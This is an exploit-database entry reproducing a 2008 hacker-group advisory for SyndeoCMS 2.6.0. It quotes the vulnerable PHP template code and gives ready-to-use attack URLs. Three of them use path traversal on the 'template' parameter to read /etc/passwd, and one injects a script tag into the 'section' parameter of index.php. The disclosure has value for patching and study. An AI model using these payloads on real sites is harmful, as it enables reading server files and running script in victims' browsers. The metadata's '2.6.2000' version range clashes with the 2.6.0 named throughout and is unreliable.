SyndeoCMS 2.6.0 (LFI/XSS) Multiple Remote Vulnerabilities

vendor:

SyndeoCMS

by:

CWH Underground

8.8

CVSS

HIGH

LFI/XSS

CWE

Product Name: SyndeoCMS

Affected Version From: 2.6.2000

Affected Version To: 2.6.2000

Patch Exists: YES

Related CWE: N/A

CPE: a:syndeocms:syndeocms:2.6.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

SyndeoCMS 2.6.0 (LFI/XSS) Multiple Remote Vulnerabilities

SyndeoCMS 2.6.0 is vulnerable to Local File Inclusion and Cross-Site Scripting. The application fails to properly sanitize user-supplied input to the 'template' parameter in 'starnet/editors/fckeditor/studenteditor.php', 'starnet/modules/sn_news/edit_content.php' and 'starnet/modules/sn_newsletter/edit_content.php' scripts. An attacker can exploit this vulnerability to include arbitrary local files and execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Mitigation:

Upgrade to the latest version of SyndeoCMS.

Source

Exploit-DB raw data:

===========================================================
 SyndeoCMS 2.6.0 (LFI/XSS) Multiple Remote Vulnerabilities
===========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE : 10 June 2008
SITE : www.citec.us


#####################################################
 APPLICATION : SyndeoCMS
 VERSION     : 2.6.0 (Lastest Version)
 DOWNLOAD    : http://downloads.sourceforge.net/syndeocms
#####################################################

---LFI---

#################################################################
Vulnerable Code:
if (IsSet ($_GET['template']))
{
	$template_path = ...;
	$filename = $template_path . "/" . $_GET['template'];
	if (file_exists($filename))
	{
		$handle = fopen($filename, "r");
		$content = fread($handle, filesize($filename));
		fclose($handle);
	}
}
#################################################################

Vulnerable File: 

[+] starnet/editors/fckeditor/studenteditor.php
[+] starnet/modules/sn_news/edit_content.php
[+] starnet/modules/sn_newsletter/edit_content.php

Exploit:

[+] http://[target]/[path]/starnet/editors/fckeditor/studenteditor.php?template=../../../../../../../../../etc/passwd
[+] http://[target]/[path]/starnet/index.php?option=modulemanager&module=16&modoption=edit_article&cat_id=1&article_id=0&template=../../../../../../../../../../../../../etc/passwd
[+] http://[target]/[path]/starnet/index.php?option=modulemanager&module=17&modoption=edit_newsletter&newsletter_id=1&edition=1&template=../../../../../../../../../../../../../etc/passwd

Note:      - the first link requires pupil session (normal student session)
           - the second link and the third link require admin session


---XSS---

[+] index.php

Example:

http://[target]/[path]/index.php?page=1&section="><script>alert(111);</script>

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

update:
see: http://www.syndeocms.org/forum/index.php?topic=1788.0

# milw0rm.com [2008-06-10]